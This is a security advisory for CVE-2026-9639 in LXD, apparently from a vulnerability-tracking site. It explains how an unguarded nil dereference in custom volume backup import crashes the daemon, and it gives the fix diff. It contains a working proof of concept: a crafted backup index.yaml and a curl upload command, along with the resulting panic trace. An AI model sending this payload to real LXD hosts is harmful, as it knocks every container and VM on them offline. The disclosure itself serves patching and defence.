GITHUB.COM/CANONICAL/LXD · CVE-2026-9639 · Infrastructure
FIX → 0.0.0-20260622081844-85f897013ccd · 6.9 · 5.21.5
LXD's custom volume import dereferences an optional snapshot expiry timestamp without checking it, so a backup that omits that field panics the daemon. An authenticated user with permission to create storage volumes can crash the whole lxd process by uploading such a backup, which is a denial of service.
first public Jun 26, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Any LXD host where authenticated users, or clients using TLS, OIDC or the unix socket, can create custom storage volumes through the API. A crash takes down the lxd daemon, so every container and VM on the host, and on the cluster member if clustered, is interrupted until the daemon restarts. Hosts where only trusted administrators reach the API can skip the urgent patch but should still update.
Not affected if admin-only-api-access, no-volume-create-entitlement
Who cares clustered, cwe-476, linux-containers, lxd, self-hosted
lxd --version for a packaged binary, or the commit or module version if built from source.0.0.0-20260622081844-85f897013ccd as exposed.(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 0.0.0-20260622081844-85f897013ccd · 6.9 · 5.21.5
0.0.0-20260622081844-85f897013ccd or later.if … != nillxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:
// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
if snap == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
err = drivers.ValidVolumeName(snap.Name)
...
}
// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
if s == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
snapshot := s
...
// Line 8216 — UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):
| Line | Code | Guarded? |
|---|---|---|
| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1558-1559 | srcSnap.ExpiresAt | YES |
| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |
| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |
| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |
| 5527-5528 | srcSnap.ExpiresAt | YES |
| 8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |
EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197.POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>.backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expires_at.lxd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> *snapshot.ExpiresAt on line 8216 panics on the nil *time.Time.lxd daemon process. Repeated POSTs are a persistent denial of service.Minimal backup/index.yaml:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
version: 2
pools:
- {name: default, driver: dir, config: {}}
volumes:
- name: poc-vol
type: custom
pool: default
content_type: filesystem
config: {}
snapshots:
- name: snap0
description: snap0
config: {}
# expires_at intentionally omitted
Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
--data-binary @/tmp/poc-vol-lxd.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-LXD-name: poc-vol' \
http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep lxd | grep -v grep # daemon GONE
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.
lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.can_create_storage_volumes on any project. Not behind the admin tier.:8443 or the unix socket.lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.Mirror the guard pattern already in use elsewhere in this file:
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.